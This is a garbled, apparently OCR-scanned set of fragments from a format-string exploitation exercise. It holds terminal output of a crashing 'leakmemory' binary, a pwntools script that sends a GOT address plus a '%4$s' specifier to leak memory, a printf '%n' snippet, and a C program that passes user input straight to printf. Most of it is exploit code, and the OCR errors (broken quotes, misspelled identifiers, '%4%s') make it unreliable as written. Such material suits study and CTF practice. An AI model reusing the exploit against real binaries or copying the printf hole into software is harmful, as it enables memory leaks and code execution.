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=+ leakmemory git:(master) X ./leakmemory
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=+ leakmemory git:(master) X ./leakmemory

s4bs

00000001.22222222 . FFFFffff.%4$s

[1] 61430 segmentation fault (core dumped) ./leakmemory
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from pwn import *

sh = process('./leakmemory")

leakmemory = ELF('./leakmemory")

__1so0c99_scanf_got = leakmemory.got[' isoc99_ scanf']
print hex(__isoc99 scanf_got)

payload = p32(__isoc99_scanf_got) + '%4%s’

print payload

gdb.attach(sh)

sh.sendline(payload)

sh.recvuntil('%4%$s\n")

print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()
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int slen;

printf("hello world%n", &slen);
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#include <stdlib. h>
#include <unistd. h>
finclude <{stdio.h>
#include <string.h>

int target;

void vuln(char #string)

printf (string) ;

if (target) {
printf ("vou have modified the target :)\n"):

}
int main(int arge, char skargv)

vuln(argv[1]);
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